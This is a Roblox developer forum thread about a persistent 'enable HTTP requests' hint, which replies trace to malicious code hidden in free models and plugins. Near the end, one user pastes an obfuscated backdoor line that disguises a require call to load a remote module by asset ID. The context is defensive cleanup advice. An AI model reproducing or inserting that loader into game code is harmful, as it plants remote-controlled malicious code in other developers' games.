Game asking to enable HTTP Requests

Hello! I’m posting this for a friend because she can’t post in the developer forum. Help would be appreciated, thanks! (If this is in the wrong category, please inform me.)

  1. What do you want to achieve?
    I want to remove this thing that says “Please enable HTTP request” on top of my screen but I don’t know how.

  2. What is the issue?
    The issue is that it appears in every game I have in studio.

  3. What solutions have you tried so far?
    I’ve tried looking for answers in the developer forum but I couldn’t find any.

click on game settings in studio and enable http requests.

That kind of looks like a hint, which is just a message that goes at the top of your screen. Your friend may have used a free model and it’s asking for HTTP access to be enabled. Not too sure, since I’ve never seen it.

Apart from that, have they actually enabled http access?

I deleted the hint for her but it only seemed to work for me and not her. And no, she didn’t enable http access.

Tell her to enable access, restart studio, and see if it still happens. If it does, then it’s most likely some malicious code needing http access for some malicious purpose.

She’s offline right now, I will keep you guys updated.

Please do not post topics like these.

There are hundreds of videos and topics you can find about how to enable HTTP Requests, this is a basic and commonly known ROBLOX security feature that lets your game send requests to 3rd party websites/apis.

Go to : Home>Game Settings>Security and turn on “Allow HTTP request”

You’re right, it was a malicious code. I found it in one of the burger models in her game then when I deleted it, the hint on top didn’t appear again.

how did you find the code?

I’m trying to find the code and receiving the same request in my game, even though i know for a fact that none of my scripts require HTTP requests.

Did you use free models? If you did try looking for suspicious code like getfenv(), require or obfuscated code.

Check anything you got from the toolbox, or any plugins you have installed. you can use Ctrl+Shift+F to search through all code inside your game (but doesn’t work for most malicious plugins)

Also please don’t bump threads, especially this already solved 1 year old slither of a thread. Make a new topic in future. Thanks. This topic was solved in August 2020.

I thought it was the case, I think the only way getfenv() spreads to other scripts is actually faulty plug-ins, and I recently downloaded a minimap creator I thought was safe.

  getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)

creating unnecessary HTTP requests and backlogging the console with JSON requests and fake error lines messages with x4999 requests

just did a simple script replace & search tool “getfenv()” and got rid of all the infected lines
